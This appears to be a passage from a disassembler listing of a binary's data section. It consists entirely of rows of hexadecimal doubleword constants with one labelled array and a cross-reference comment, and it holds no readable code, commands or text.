		dd 5917810Ch, 12839131h, 314804A9h, 47E9F888h, 3E85F4Fh
		dd 55C7139Eh, 0F7782930h, 0E828597Dh, 2F136F8Dh, 2AFA7DA6h
		dd 0ACA45B4Fh, 9132C2E1h, 0D609010Ch, 31E8D23Ch, 5ED68416h
		dd 38673EDDh, 30050527h, 55834F5Dh, 0D423749h, 0DE8BC0D5h
		dd 7D3E0044h, 0F64B6AB9h, 6972998h, 2745B4C7h, 53FCE45Eh
		dd 2AA8C46Fh, 6A21E0D8h, 0C18F10AAh, 8A75A668h,	0D5F63843h
		dd 0BF05F080h, 9F50A460h, 15AC0F74h, 6997E961h,	8A6FF22Ah
		dd 4B38D20Ah, 80E52BBh,	0F709DC96h, 0D10BFFD0h,	1EA8A22Ah
		dd 612A4DE4h, 16FB3C77h, 7389CC19h, 309489E2h, 281B6E68h
		dd 3A16CB2h, 934EE491h,	0A915C101h, 5BE839E9h, 8EEE3494h
		dd 0EEB04E31h, 0C7C5C038h, 25694FA8h, 1741E3F6h, 278603Ch
		dd 0B309AFA2h, 37F6CA29h, 9056055Bh, 0B9159F35h, 0B70692EAh
		dd 2C27AFE7h, 136170EAh, 0E4DBFE14h, 447F680Bh,	5C7C9FB0h
		dd 82BA5DF6h, 0FEF3E912h, 0A7D331EDh, 20075827h, 0DD291609h
		dd 9679ED5Bh, 3DD838FEh, 0EF59E360h, 4FB3D9A2h,	7EF9A893h
		dd 0BACBC254h, 0D33BDA0Fh, 0E5AD454Fh, 8FD034ACh, 0BE958492h
		dd 4592BFE6h, 0BFB797DFh, 2F682338h, 39E6552Bh,	1DA616C0h
		dd 29E94235h, 2BEFA14h,	467E41A7h, 0EF401C00h, 59D6A127h
		dd 39CCA62Eh, 9FE85BD3h, 94C1F52Dh, 837DC2B1h, 9F37F117h
		dd 0AEF41DD7h, 0B90287F8h, 21EC4BCBh, 47E0543h,	1C6F1B31h
		dd 0E43EEAD1h, 24412BB3h, 66572941h, 67EC6959h,	629691D5h
		dd 935DE286h, 0EDAC06E1h, 13522F3Ch, 55E82900h,	73F41BDh
		dd 0E5C12D06h, 3A6CCF01h, 53843A56h, 825012C2h,	762B3A7h
		dd 57E6C266h, 0A83F575Eh, 0E698F522h, 0E969FC09h, 7B950F4h
		dd 0B1ADB652h, 5AF1007Fh, 5970CE88h, 0FF95F05Fh, 0A82FC9E8h
		dd 0A24A5A12h, 9BDF947Dh, 532993CFh, 0E1B304C4h, 14CD8823h
		dd 582DF540h, 361854E5h, 74F6F85Dh, 910D384Fh, 82040DF2h
		dd 491F61BBh, 9E313F36h, 162E208Dh, 0A243E0E1h,	0AD206467h
		dd 0D0D0BCE5h, 54BDBEh,	0CE811536h, 3EB510F3h, 4AF6ADB8h
		dd 4043472Fh, 5D01703h,	77E9DC2Ah, 0F48BECCEh, 2E9E8BEBh
		dd 9900E95Eh, 5A6C2F09h, 4E260D1h, 0F281DAF7h, 43D9980Ch
		dd 573664Fh, 14A957Fh, 8CD10D6h, 0E29A924Ah, 0FC475849h
		dd 522EE8CFh, 0EA2C5F88h, 0E78C2213h, 0F49E41FFh, 7B9D6B38h
		dd 40044BEDh, 5A13A0EDh, 0F925639Fh, 0D47E77C8h, 5D0804ACh
		dd 0BF008401h, 0B6CB4CF3h, 5898E052h, 3D89B94Eh, 20AF7C42h
		dd 0F370AAEBh, 0A258522Fh, 893657Ch, 125E0995h,	34B1E798h
		dd 0E999B207h, 0C6090E8Fh, 0BAA0F406h, 685A0A1Eh, 0C6817BF8h
		dd 0B0174941h, 4EEF65Fh, 0B99B7D65h, 63FFD220h,	0AE10DF32h
		dd 0FD4B3D1Dh, 0BF74C682h, 13FB970Ah, 73B204CBh, 7E52CEEFh
		dd 0B5863F37h, 14DB2767h, 632CF6B8h, 0F3017FA2h, 3D5831C2h
		dd 6B2E519Dh, 549DE970h, 69046B3Ch, 76AF12D1h, 0A101ECF3h
		dd 0E9052972h, 0BD81E2E6h, 0D74BFFF1h, 0D3132F27h, 8AC4E4A2h
		dd 5E24929Fh, 52FA560h,	815FCD00h, 4A1534C9h, 8209676h
		dd 2912AB60h, 13C5D4B0h, 0E47B0B53h, 0DE400CF4h, 0B8EF5F01h
		dd 51C4D9Eh, 299A2B3Bh,	0B3767C3h, 0E55BE90Dh, 0F8F66614h
		dd 46E4DF5Bh, 3F1F1FEDh, 3FF5E4A4h, 0C0162F13h,	7A69BE0Eh
		dd 84C17450h, 53E01518h, 1F49205Eh, 0D9E934FCh,	61F8ADD9h
		dd 0E959F2F8h, 375E2501h, 6BD46C56h, 77AC001Ah,	0AFF32D40h
		dd 12C36E5h, 5FC9D2C6h,	261F5D02h, 70C9BB00h, 31761298h
		dd 78EA4CBh, 0D529E6AAh, 0DE62943Ah, 0C370395Ch, 0E91909DFh
		dd 86D6015Ah, 3710820h,	0E4F0FFA4h, 5F3A4665h, 1A7D9CEEh
		dd 50F94C4Bh, 0E17E982h, 71EC57D2h, 776A7F8Ah, 23B4771h
		dd 4A3EACC5h, 0F6F08209h, 1A997597h, 266AD628h,	27F11D80h
		dd 511FE47Dh, 39F9315Ah, 0B08596CDh, 0F63BE52Dh, 0E09192E1h
		dd 550020B5h, 0D69574FFh, 677FD226h, 9AFFA51Ah,	38C35AE9h
		dd 0AA4B6753h, 0BA074E66h, 84E927B2h, 88685B01h, 0BD18506Ch
		dd 0C9012250h, 5DEF210Ah, 0E164A3E9h, 8F2D045Ch, 0AB30FF7Eh
		dd 8C8B1C04h, 0D44B8116h, 0D770D69Ah, 61912DDh,	5DF9311Ch
		dd 0E0091AADh, 0F72D4270h, 702058D8h, 0D4349F69h, 5B6AF69Fh
		dd 0F168C709h, 29B1C950h, 0C5894069h, 4CC20756h, 0C9C4DDDEh
		dd 552EF80Fh, 0E101863Ch, 18ED7583h, 0C68850Bh,	2A0B11CBh
		dd 78B2E97Eh, 0C5801CB1h, 0FF07FF1Ch, 9208E5C0h, 40E03FF5h
		dd 0B3B50112h, 0E4AFD90Ch, 53EE5B81h, 0EC73B61Ah, 2CC31B58h
		dd 840AF068h, 4AE0A6EBh
		dd 9C7AFA4h, 29280B7Fh,	98F6467Fh, 117E2709h, 90E97518h
		dd 909C3F4Bh, 5C5E4C59h, 96F36D51h, 0C9F104FCh,	0B412422Ah
		dd 0CF4F5AE9h, 510AE849h, 0CBF09F37h, 0FD1E755h, 196A5303h
		dd 0EC6DE16Eh, 301E9D7Fh, 2B0E8D3Eh, 0DE297C47h, 4C08EF14h
		dd 0BB874485h, 8000AFCh, 0B5F38164h, 2D2F5122h,	0E10E94E9h
		dd 0C3EC052h, 155C8B70h, 0C6004F77h, 67072D59h,	0EC664ECBh
		dd 5A0740D6h, 7D1211ECh, 0F5E82B26h, 75D40741h,	65660421h
		dd 0F5AFB0E9h, 1BAC82ABh, 557EB962h, 0D9492FD9h, 0A3330C3Bh
		dd 5927C837h, 59FDF429h, 0CD3E7452h, 31A07400h,	0CBE9018Fh
		dd 9DD2D003h, 9105DA07h, 1A82C91Ch, 68015EE2h, 0F6285D4Fh
		dd 372F518Fh, 0D35A32C4h, 54A9E039h, 99DFF776h,	10EE90E1h
		dd 12CD68A6h, 0BF97E90Ch, 5E7973C7h, 2668E9C5h,	75DF9407h
		dd 0AAD37BD0h, 0B055B38Dh, 803CD07h, 4FDD4E99h,	0BA291005h
		dd 6BAE6809h, 322D36F7h, 0EF99F9E7h, 0F4FAC07Dh, 0BE12C317h
		dd 3CD0721Dh, 0CB1FD7B8h, 0C8C9D3BAh, 0B11CDFC2h, 0CA0FD69Fh
		dd 14CA62B3h, 0B8A3E309h, 0B7C876DAh, 0C90280F0h, 0E9B480D1h
		dd 0D53DEA64h, 0F52743C5h, 0DC39F998h, 965CCC82h, 393DC251h
		dd 47E45319h, 0E22136Ch, 0A900005Bh, 81721C4Dh,	3AC9CE04h
		dd 0E0BE08DCh, 1313AC1Fh, 8FFC74FEh, 0E9585305h, 0B9E4F032h
		dd 65115C14h, 39024CBFh, 0CBAC5BCBh, 0AED3D5B7h, 2226B23Dh
		dd 1AA3B802h, 2055496Bh, 0E940588Fh, 5CDBC36h, 57432A68h
		dd 5A2EB265h, 7CAD6DBAh, 0F404969Ah, 5807084Ah,	92777E53h
		dd 0AF54E19Bh, 6674D9E5h, 8E444FBh, 0A15C0AF0h,	0DB36D402h
		dd 0A399801Ah, 0F86FEF63h, 5A5E2852h, 40DA90F3h, 0F94CB58Ah
		dd 0FCEE27CBh, 22C1802h, 3EB0041Ah, 15FD057h, 0D6F6EEB6h
		dd 0AD3FCEFEh, 0E92C77ACh, 0AFBAC845h, 0BF11D037h, 5D6B79DBh
		dd 0E9124294h, 3DEBE42Ch, 37B8FC08h, 0F80212B5h, 8159974Fh
		dd 0E90421CBh, 743F6A1Bh, 7ED12DEEh, 82570A72h,	7A3EEAC5h
		dd 0B8FB0913h, 255DBF03h, 16F81FF2h, 336CEB4Ah,	2781BF52h
		dd 0ED464173h, 0B5826ADFh, 0F3E7076h, 13F4CF81h, 758B4E2Bh
		dd 4C52BA02h, 4805A6F0h, 152EAF35h, 0E8BC1782h,	2E1BB915h
		dd 162CC277h, 3BA2AC41h, 0A1AB165Eh, 0A04B1BADh, 0A27766A7h
		dd 2CB27C9Dh, 99D7C909h, 412E4F95h, 255C662h, 0EEB930AEh
		dd 88BCAF1h, 0EDA67E71h, 67F96D13h, 29B598A5h, 0BC3AF941h
		dd 1348C29Bh, 0EDA1815Eh, 2B60C11Bh, 492FB851h,	804E8AF2h
		dd 5266DCACh, 558C683Ah, 19FD2038h, 0F1289FA0h,	0BD805A39h
		dd 0E6A99431h, 0E82A4F5h, 24D17478h, 8151E5E9h,	74838F9h
		dd 80BCB570h, 74886FE5h, 0CFC1A4h, 0BE0EC42Dh, 16C1946Eh
		dd 0C499A150h, 0B805353Ah, 7053151Dh, 0DC8B10BFh, 4F97080Eh
		dd 0BCF1E57h, 805502E8h, 43413B0Fh, 4349D7DAh, 616855DFh
		dd 52E75F7h, 8A0923E9h,	8CC54019h, 62350212h, 12B60DFCh
		dd 416245B7h, 3A49FAE9h, 0A5688571h, 40BFA404h,	4744295Ah
		dd 0BE1756AAh, 0FD99681Ch, 0A4F4E706h, 1913A075h, 0FA67C92Dh
		dd 7C699500h, 2920032Bh, 225526D7h, 3E438896h, 42257A6Ah
		dd 5FB25F78h, 92A9797Fh, 0C0F2B142h, 28025AF4h,	0C3EC80FCh
		dd 42ED8B5Bh, 69F17700h, 0B64A8662h, 0F1DB9F90h, 0FC605E96h
		dd 9D74BAE9h, 64513390h, 5613145Ah, 4066DA05h, 0C88334FBh
		dd 8CB85EA5h, 80BB0BBh,	37A3C673h, 60B70B27h, 14DC1BA5h
		dd 57E8290h, 0ED00EE4Ah, 85712F2Dh, 0C108B754h,	1C853A07h
		dd 0A8677327h, 0C331C002h, 0A9869FE9h, 43EDFC4h, 0C9FD68F4h
		dd 9DDDD9C8h, 0A09BAC0Ah, 1AF7D10Dh, 8526A63Bh,	0E7AAF778h
		dd 3C7A4065h, 0A4411B41h, 538AB9D0h, 62BB73FBh,	0AB438DB5h
		dd 0CAC5FEA9h, 7817DCE1h, 5C824EE1h, 92CF76A0h,	998EEBE3h
		dd 0EADBE90Ah, 1CF7829Ah, 8E29377h, 31E2407Dh, 513F2D5Ch
		dd 948035F4h, 0E961113Bh, 2D29965Ah, 0FD48F60h,	89F94C0Bh
		dd 14AD0EEh, 3B580CECh,	7B49D1F7h, 535A23D0h, 0E9D40B26h
		dd 46D6F071h, 0CBFA5F72h, 6B2BBEBCh, 2D06B008h,	8568F3B0h
		dd 9D992AE5h, 82EDEA20h, 17A75977h, 190F118h, 2A4707E2h
		dd 0E1AE4B40h, 27E9B8F7h, 9366B58Ch, 0FC20577Ah, 39055493h
		dd 0CC504A34h, 2FE10253h, 0DC057070h, 1B8F2546h, 2F07FA08h
		dd 0FF65FC92h, 0E63FE904h, 93BF989h, 0AAE2C376h, 0DC6A0055h
		dd 3C773948h, 0E2010558h, 44E9320Ch, 6193DE4h, 1F4A5D60h
		dd 7C86020Ch, 62E917F4h, 52580868h, 2309D090h, 74509440h
		dd 7CE640A4h, 894AA11Ch, 0D61792B8h, 6D29BFFFh,	0B6494BF0h
		dd 0F6268BE6h, 93920C59h, 0A2BA17C4h, 1053A337h, 493C614Eh
		dd 0B164FE7h, 30372A9h,	290DF224h, 0FC28849Dh, 0A1DF772Dh
		dd 6625CBAAh, 77995756h, 4EE91C34h, 990FC572h, 285A0192h
		dd 5856005Fh, 525B2C5Eh, 1D31071Ch, 815DA011h, 201246CDh
		dd 76000922h, 5F333D53h, 0C002F4E9h, 463FBB56h,	0F0BF2256h
		dd 0B3A0B55Ch, 3EC85BBAh, 73F311C0h, 0B7C24A56h, 0E4056205h
		dd 0E85001B5h, 0E2ABF4FDh, 0D13B69B1h, 28363865h, 2FAC08C1h
		dd 0DAC2E696h, 0B52D0069h, 74B8356Ch, 506E801h,	0FCBFEC52h
		dd 2F27A16Bh, 0E98705A3h, 0CAAAD979h, 0CCD913BBh, 0C1406D56h
		dd 2CC74A31h, 9C0AC5C1h, 905CD162h, 4912AA0Eh, 49A87D1Ch
		dd 171C3408h, 1E32FB14h, 58495E5Dh, 0D9A60917h,	8CA8F197h
		dd 0EB79A728h, 7927B80Bh, 0F225055Fh, 0D19C000h, 7D5BA1h
		dd 4B48256Fh, 0C82D6068h, 7F7A5800h, 0AE137805h, 9DD1A082h
		dd 79642D59h, 8825DD2h,	0B700733Ah, 5E1074Ah, 3FEB9A90h
		dd 0BDFBF404h, 12424BFh, 1336DDD6h, 58D43E69h, 9B310816h
		dd 0F1833A7h, 8AC8AF26h, 0D2561012h, 0A24C060Fh, 0D26F7768h
		dd 0BAB44812h, 5C06C3Bh, 180FA705h, 7BC2211Eh, 0DDF94042h
		dd 373A3B2Bh, 4386EA0Eh, 94F6172Bh, 0F42A8971h,	5C9758EFh
		dd 0FE5CE44Eh, 0FE1065E2h, 0BD5500D4h, 31A6641Bh, 0ACD55FF7h
		dd 0F581018Ah, 75876213h, 0DDBFF940h, 0A5B148A9h, 0C028BE50h
		dd 5413B870h, 36B63083h, 890922ADh, 2527EE3Bh, 5AE28DE9h
		dd 0EB14C57h, 17B95BDh,	0CA007E5Ah, 35B51A6Dh, 0E9024662h
		dd 252F54C1h, 91206544h, 0BBB40520h, 0C307ECC0h, 0F499BC73h
		dd 44312EC4h, 9CCAE288h, 0E9ABC296h, 8802B55Ch,	69E35DC1h
		dd 585BFAA8h, 5AD02800h, 85E9DC04h, 84D9B48Fh, 0C04032D5h
		dd 0E162C5B1h
dword_4F0044	dd 40EE062Dh, 5F876831h, 2F018F61h, 6D1A8034h, 9F417563h
					; DATA XREF: ___:004385A4o
		dd 0C6204276h, 0C6C73A5Ch, 0B160685Fh, 7EE98AC7h, 3A9A89Eh
		dd 4F5F0208h, 501EFE01h, 1BC32CD6h, 3F12EE9h, 1A02E1A7h
		dd 0C0B71785h, 13E0412h, 0A5CA313Bh, 9D31D0CFh,	0F552305Ch
		dd 7F632549h, 4AF5CF48h, 60350246h, 0BCC14B53h,	293372h
		dd 0B5FFB21h, 30850FDBh, 68AEF124h, 0D8994332h,	0A1401E10h
		dd 0A6373FB6h, 2DDD5CF8h, 0E73D2807h, 9EF1E05Eh, 360C410Ah
		dd 79E850E9h, 5C6D09C7h, 0F1742190h, 45BF08A0h,	81CAE7Ch
		dd 5C02FAF7h, 0CC430768h, 0B14C7BC9h, 277C2DEDh, 0D11133F9h
		dd 0DE0B68B1h, 120F2B4Ch, 4B1EFE52h, 2F54A232h,	0C2C75E0Ch
		dd 0F1AF2568h, 79D829C9h, 3F096CE9h, 4FA61FE3h,	0BA338E4Ah
		dd 896A8540h, 9560F60Ah, 0C90B9D53h, 58B9FFD9h,	6A65F153h
		dd 6AC63720h, 60337B9Dh, 685B6FBEh, 0C2B43F80h,	0C2CB460h
		dd 164E5856h, 487EA15Fh, 0AF50C100h, 0EBF05A68h, 0DE114A65h
		dd 0B848F1Ch, 27846259h, 952918B0h, 986CA859h, 55D92E8h
		dd 0D676ECC5h, 0EFC1AF0Bh, 482D3845h, 0D6F746C3h, 60894B9Fh
		dd 6281E2F1h, 31D22739h, 0E949D83Eh, 0F004955Ah, 4FC35954h
		dd 0E8CD4E07h, 92383C6Bh, 0F6F4E611h, 1C05933Ah, 801C601Fh
		dd 0E5CA91F5h, 8118F6EDh, 3EA4EA17h, 0C2BACA28h, 0A9AC2DFDh
		dd 0AC988164h, 0D4B151C3h, 0DE51DA80h, 0E319C29h, 0E80359C8h
		dd 0B1E95266h, 0E7FE701Ch, 0DFBF9EC0h, 0F4786B3Eh, 8C434E9Ah
		dd 2C2C74BAh, 67148D8Bh, 1AC1809Fh, 0A0A3D28Fh,	2D0B14A5h
		dd 0EE82397Dh, 0D10A2C62h, 0C1C90D1Eh, 2693DE0Fh, 593D4083h
		dd 9E982F5Dh, 69F4DB5Fh, 0B83BF50Dh, 6C46806Bh,	27E976B3h
		dd 9679F7F8h, 12B8D4E9h, 50CCFC51h, 7DFFE13Eh, 722B0746h
		dd 9CB23F30h, 0DDBD00A4h, 267B03Bh, 0F9D2A3BAh,	586AFD08h
		dd 0BA52F4E8h, 0AA7BF517h, 4EA7400h, 16EFF281h,	0C03C8D53h
		dd 47F452AEh, 62A1384Bh, 36091140h, 294E1A8Fh, 802A6C6h
		dd 0A057F6E9h, 7168E6AAh, 622B9C1Fh, 0C6574742h, 0AE54ACCh
		dd 2974B27h, 38035B66h,	0C293E97Fh, 0B3108A25h,	27D2D58h
		dd 5110D229h, 98DD7868h, 638FE9E7h, 2623F95Eh, 1BD15793h
		dd 2FE37E9Fh, 28A82779h, 2B125345h, 0BF4F21F8h,	80874438h
		dd 0B9A25BE9h, 0BE19D37Fh, 0DCEA56A5h, 0C708165Ch, 28B800A1h
		dd 2D27582Fh, 4A10500Fh, 955AE5CFh, 40DACEBFh, 0BD626A1h
		dd 0A0BB52BAh, 2313D366h, 50AE323Dh, 5826087Ah,	31830885h
		dd 0E2EC5417h, 7C279C02h, 0B470F73Ah, 1A810326h, 77F14300h
		dd 0C06E54E9h, 26946883h, 5F6020DAh, 46562B8Ah,	0D50CC306h
		dd 9EDE0E2h, 0AF7DE6A6h, 0ABA8966Eh, 3FC29E89h,	92BADF63h
		dd 5953F16Ah, 0F89C77E9h, 0D91E5D05h, 0D701F709h, 7FA0E9D6h
		dd 1E571EA5h, 0CB44D36Ch, 52EA4F27h, 93CDA2FAh,	0F5D84509h
		dd 49253F64h, 0F9D41832h, 27D48291h, 1002068Ah,	1E98D7A5h
		dd 23B911B6h, 0E285992h, 51622C68h, 6182C001h, 0D1256C6Dh
		dd 2FFF8E6h, 4414BD55h,	166232F1h, 4DB51DD0h, 0C6A53E18h
		dd 0FD68DF79h, 2C6D1F02h, 0E8E0DF0Dh, 2ED0CE01h, 0BFE9170Bh
		dd 9AAAAA56h, 3DAE4E5Fh, 0AE59554Bh, 984E618Bh,	302F6896h
		dd 0C918D116h, 9027599Eh, 5B07AE3h, 344484Ah, 0F641AB29h
		dd 2A1F705Ah, 68AA52Fh,	17801C08h, 0F64B78E9h, 0EAD465AEh
		dd 3230FC8Dh, 69A0BE06h, 0AF9985Dh, 0BD5EBA53h,	272560D2h
		dd 15DCEECFh, 7D4FB568h, 0D02EE4Fh, 0B3515BD8h,	0F1C7E3FFh
		dd 7D8E9FDh, 63549601h,	68A0C8BEh, 0E916092Ch, 0E490602Eh
		dd 4E811A21h, 58AED46h,	6811A214h, 0A9E9AC42h, 0F5145F31h
		dd 360BF60Bh, 5FA34191h, 0F54A548h, 5251700Ah, 5C2EDA61h
		dd 0CAE2301Fh, 9E6FC800h, 6E2C14Dh, 0B6F178E9h,	13DF83E4h
		dd 16D96CCBh, 0A6A324F8h, 59D12900h, 0E845F12Dh, 5D353E7Ah
		dd 21A16105h, 604DF3C3h, 135E4BC8h, 0B81CD863h,	71B5D58Fh
		dd 0F09DE5FDh, 660E5B80h, 4EFC8850h, 18E28FD7h,	0B574203Ch
		dd 0EBCE00A5h, 3AD40327h, 7EA01AAAh, 0A97F9D57h, 0C245963Ch
		dd 0C0DD09DEh, 0F119CD9Ah, 4B730B7Dh, 166EE6CAh, 9D20E0BDh
		dd 6E7A6F4Dh, 57226619h, 0F1F61B94h, 0F7B5E02Fh, 92279FD2h
		dd 224790E0h, 1995D101h, 806E4934h, 0F67BB5CEh,	6DCF2926h
		dd 47D97F5Ah, 7855562Fh, 0E04928E9h, 71F70357h,	120A45Ah
		dd 330699Ah, 61FA2974h,	5F08021Dh, 0FF57C855h, 6BB5246Ah
		dd 0EF688B2Ah, 0E2C57274h, 4FC298B4h, 10D1B158h, 2B52E964h
		dd 0EE2DDDBAh, 200474E7h, 0BB2F8E5h, 91BAE96Dh,	0F642B5FBh
		dd 71A457F1h, 83C48255h, 80E35D05h, 2ED7F14Bh, 80EE1C09h
		dd 0DC22FB7Bh, 0BDCEF44Ch, 294BB216h, 3BAC0871h, 6EF9DD2Fh
		dd 10055CB6h, 804C600Bh, 0EA1FDAFFh, 3E0B0D5Ch,	1560FF22h
		dd 0CD04AC0Ch, 5F9FA2ABh, 314DD502h, 0D5105E05h, 622C05CBh
		dd 56E01FA0h, 0C5994E68h, 81B2AF4Eh, 0A8FC56CBh, 0C19110EBh
		dd 92A1B968h, 1651095Ah, 0A2BD5CE0h, 6EA3170Bh,	8EBAF09h
		dd 0D3B80144h, 0E82AF51Ch, 0D9B412C6h, 23C50BEBh, 92C5892Eh
		dd 9AFD93EBh, 0C9EDF44Bh, 3D6BC655h, 941732E9h,	741FA6Fh
		dd 62D6452Bh, 14CECB30h, 0CF6E0E3Bh, 9961E304h,	0BDD1FA73h
		dd 382E52B8h, 0D705F7F9h, 2231E956h, 683F20AAh,	0EA835306h
		dd 5C1E69D7h, 0B5849D7Ch, 8567BA1Fh, 0DE3B35A2h, 536260CBh
		dd 0B0B561D6h, 88C68455h, 310B6AF7h, 0F591A08h,	0BB672325h
		dd 0BAF9D2E3h, 95CEC154h, 355E0473h, 0BAF9D5A1h, 0C2311D46h
		dd 0BCCC5EF8h, 8E56DE4Ch, 13B26AA0h, 21EA28B7h,	4F5152Bh
		dd 687D80EFh, 0C59D712Fh, 2CFA4E4h, 74A36632h, 169DD9C0h
		dd 0F02D2927h, 81B2749h, 0A22C5471h, 0F0878807h, 51EED0D2h
		dd 34A84E7Ch, 78C5BF00h, 268153D9h, 148989CFh, 3902E93Ah
		dd 293D866Fh, 288A8F69h, 0AA85EB3h, 0B4DBB84Eh,	7D848094h
		dd 36F901FBh, 2C0AB2A1h, 50665DEh, 5D7A3782h, 0C78907E7h
		dd 4A145D02h, 4ADC4C9Fh, 9828AB5Fh, 84152C1h, 555A6070h
		dd 5330ABEDh, 0DAF32D4Fh, 3C190202h, 0E05F4D44h, 394BC56Bh
		dd 29107184h, 179E40EEh, 0E2CD10F5h, 1ED83033h,	9EFFD32Ch
		dd 7EE9E40Bh, 271B5A86h, 9075EDFAh, 1D0D34DCh, 895F731Ah
		dd 2AD436B9h, 9D1D3566h, 0F1530041h, 4A5068FBh,	0ABD663FCh
		dd 2342AA20h, 806A4A68h, 67A1C903h, 41479616h, 0E87AD5FCh
		dd 4B087044h, 4DA2A80Dh, 0A6FAC411h, 0C542C9E4h, 0F8A4F015h
		dd 8BACD16Bh, 0A384A23Bh, 15B05CAh, 927F099Bh, 460D3073h
		dd 726A3313h, 0BC4F1EA8h, 88746055h, 27B4C275h,	745DD01h
		dd 0D849D827h, 6C82D606h, 50C077F0h, 1CF31BD0h,	9D4172E9h
		dd 4B074759h, 0EBBFEBD1h, 67BF10BDh, 0E58127D0h, 472DFCF8h
		dd 20175A88h, 27CB11F5h, 0BB07675h, 36DD425Fh, 1D7CB5B2h
		dd 4DE25892h, 1AD98CC4h, 5D882B86h, 5AD011B0h, 0E8EDF497h
		dd 0F4AA091Fh, 0D327B3D7h, 493E63Dh, 8EE1D2EBh,	1039ACFEh
		dd 5725C947h, 1422D40Eh, 0A7FE4A65h, 0C9A10720h, 0C45FC6F7h
		dd 0CCD7806Eh, 7AF282C9h, 1E7FE40Ah, 51AF8C69h,	2AB50180h
		dd 0D9C17103h, 0FD183004h, 75CFF32Dh, 8F678602h, 2573EBC4h
		dd 0C062E61Ch, 0F64203DEh, 60F0288Eh, 820FE056h, 7F392B61h
		dd 8EF90331h, 647BCA6Eh, 83FA5A1Fh, 232D5939h, 56B954E0h
		dd 80F9669Fh, 538B6BFh
		dd 0E2C10D1Dh, 0BB8E0208h, 0E2F0E67Eh, 0ADC8BF0Bh, 2FE77C25h
		dd 0BD100F84h, 0E2EB015Eh, 294AE448h, 804DB65h,	0BE5A64BFh
		dd 0D143590Bh, 7EBE87D6h, 8150E439h, 2BF4C2Dh, 0E348FD5Eh
		dd 681F11F7h, 0E6CB372Bh, 528A6858h, 8E1C893Eh,	415150C2h
		dd 612CDFB0h, 0C8ADA12Fh, 0A8945AF5h, 85EC696Fh, 0DCBCB82Eh
		dd 7FD00500h, 0B42D31F1h, 7BD14F0Fh, 0C3026148h, 13608CC2h
		dd 0F02F396Ah, 40FEED5Ah, 20F35808h, 0EA5FA631h, 385A59E4h
		dd 9EC83521h, 0FD82Fh, 0B50A866h, 6FC5FD4Bh, 94D1DDBAh
		dd 0C5570Fh, 3A4B4F2Ah,	495EE950h, 0CA840498h, 0A3241F54h
		dd 0C94E4810h, 79FC40EDh, 770BB12Ch, 79C244E9h,	5BDA426Ah
		dd 0E9E809BAh, 1C53EA68h, 0AFA940ACh, 45C38825h, 9A043C40h
		dd 940AD568h, 0A460845Ah, 6178C15h, 6C001BB8h, 40A3482Fh
		dd 0BE7FA47h, 116123A5h, 43014F05h, 495C5D5Ch, 5BDF3198h
		dd 95BAD0B7h, 554091C4h, 2677B168h, 0BDFEA65h, 0D9A54DBFh
		dd 786AC142h, 6C7E3025h, 51056507h, 0F7D04464h,	30F35D8h
		dd 2D18AB1Dh, 0FEE3F121h, 3A58C5A1h, 4A43B4B4h,	2E6B36Eh
		dd 534BBFC3h, 8806C270h, 880A0878h, 0C942CE03h,	84E4710Eh
		dd 0C7A73237h, 0D103254Dh, 7BCAB0C8h, 1C864CE0h, 0C7C9CE80h
		dd 0D9E9CFC6h, 0FE2EE8DAh, 1E0BE35Fh, 9801E820h, 517F862Ah
		dd 0D1D4552Ch, 77D2029Dh, 29B100AFh, 2B7A05D0h,	0A32BA2Eh
		dd 2B5565Ah, 75D07CD7h,	4A0EAC5Ch, 0E94E8187h, 6797419Ch
		dd 3225AFE1h, 2A85E3AFh, 6816F80Eh, 0C2605F45h,	13F819CEh
		dd 0EA3CE97Fh, 18F54890h, 1A674C29h, 80072D28h,	0B1A93F9h
		dd 0D3F776CBh, 0E1821176h, 56BFBD0Bh, 92E9065Eh, 31586437h
		dd 0E8D1000Ah, 8715E505h, 0B72D042Eh, 0C061C1CBh, 911E75C2h
		dd 0C77063B5h, 6C25082Ah, 0E2E91630h, 9572900Ch, 25637C76h
		dd 115D26Ah, 0D3DEB19h,	925E27E0h, 420C7394h, 0F2B1A18h
		dd 2978433Ah, 80D1C9Ah,	0C014041Ch, 1C26C0C5h, 4027285Ch
		dd 2C5B07D0h, 54B5B232h, 0AE4F2C88h, 407D5291h,	82C95311h
		dd 0A5DF65FDh, 0DCAF9A5Eh, 77FF8B35h, 92DCF705h, 0EA445F1Dh
		dd 0B5763A80h, 73349B5h, 83C61F78h, 0F63CFD30h,	6BBD83F9h
		dd 0A2725B2Dh, 0F0085571h, 0BA5E1607h, 38E99742h, 5FAAF244h
		dd 3C8E80FFh, 0C60F237h, 665ABC4Ch, 97F09758h, 0FA06C65Bh
		dd 4FF9F931h, 4129A25Fh, 6B72DDDCh, 0AC689E81h,	43D983Eh
		dd 0C0AF4996h, 4C457429h, 5C2A7441h, 68EEA0DDh,	1C5B5597h
		dd 79DA2A84h, 0FFAB055Eh, 0C95BFE23h, 0A52FBB98h, 0F82B76h
		dd 9206E9C4h, 295C5DBFh, 5AE5BE39h, 16A17FB0h, 0FCC987B7h
		dd 7BB14F69h, 0D02A5B65h, 0BE3EF7B1h, 0CC9F797Bh, 0B219D22Eh
		dd 0C209D1E7h, 0C80925E9h, 121F3D53h, 9591034h,	0AF54DFFEh
		dd 2501CF27h, 0F1A427E8h, 0D14BD7B9h, 7E0E0906h, 0A3761E7Fh
		dd 93F02C20h, 476A02EDh, 0D15037E9h, 0CFC6816h,	1CA247FDh
		dd 9DD21857h, 5D31007Eh, 8167BD55h, 0B2DEA2CEh,	37C464C1h
		dd 6A82E901h, 4A2C65E4h, 83A8D25Dh, 0F44DB09Eh,	94C84CCFh
		dd 0B481F933h, 357EBB58h, 3CEB0AF3h, 175EE9F2h,	85D79CA8h
		dd 10AFAC43h, 0A44A5AA9h, 0C441D26Bh, 74F72747h, 0E0541638h
		dd 607A3755h, 4AB0655Ah, 411B7D2Dh, 16E13978h, 75FBE4E5h
		dd 68C220ACh, 851D0F6Fh, 23925B4Fh, 0FD61CCEFh,	0FD94C65Bh
		dd 8508C1AAh, 0C1D754E0h, 515DE11h, 50B90109h, 0FA892E83h
		dd 0C5AA1841h, 0EC743058h, 0E388591Fh, 43C3C853h, 38C9E835h
		dd 40AAF4F2h, 0EB4C010Eh, 37DE045Ch, 0B7C469FDh, 9F587BB0h
		dd 6B4ECCF9h, 28287BE3h, 4CA7127Bh, 8C88BE52h, 0DF99AAE1h
		dd 0F56B1E59h, 0EEE9D730h, 0F7258B9Fh, 6295781Eh, 0AB364039h
		dd 9246B711h, 0D105BE08h, 0C753CB1Bh, 2D05722Dh, 2D2CDB4h
